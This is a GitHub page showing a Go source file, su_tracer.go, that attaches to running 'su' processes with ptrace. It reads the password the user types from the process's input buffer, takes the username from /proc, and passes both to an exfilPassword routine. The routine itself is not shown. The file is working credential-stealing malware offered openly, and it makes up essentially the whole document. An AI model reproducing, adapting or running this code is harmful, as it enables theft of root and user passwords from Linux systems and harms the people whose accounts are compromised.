-
Notifications
You must be signed in to change notification settings - Fork 0
/
su_tracer.go
77 lines (72 loc) · 1.44 KB
/
su_tracer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main
import (
"fmt"
"io/ioutil"
"runtime"
"strings"
"syscall"
"unicode"
)
func traceSUProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
var readSyscallCount int
for {
_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
}
if wstatus.Exited() {
return
}
var regs syscall.PtraceRegs
err = syscall.PtraceGetRegs(pid, ®s)
if err != nil {
syscall.PtraceDetach(pid)
return
}
if regs.Orig_rax == 0 && regs.Rdi == 0 {
readSyscallCount++
if readSyscallCount == 3 {
buffer := make([]byte, regs.Rdx)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
return
}
if strings.Contains(string(buffer), "\n") {
cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
return
}
username := "root"
if len(cmdline) > 3 {
username = string((cmdline[3:]))
}
password := strings.Split(string(buffer), "\n")[0]
if func(s string) bool {
for _, r := range s {
if !unicode.IsPrint(r) {
return false
}
}
return true
}(password) {
go exfilPassword(username, password)
}
}
}
}
err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
}
}
}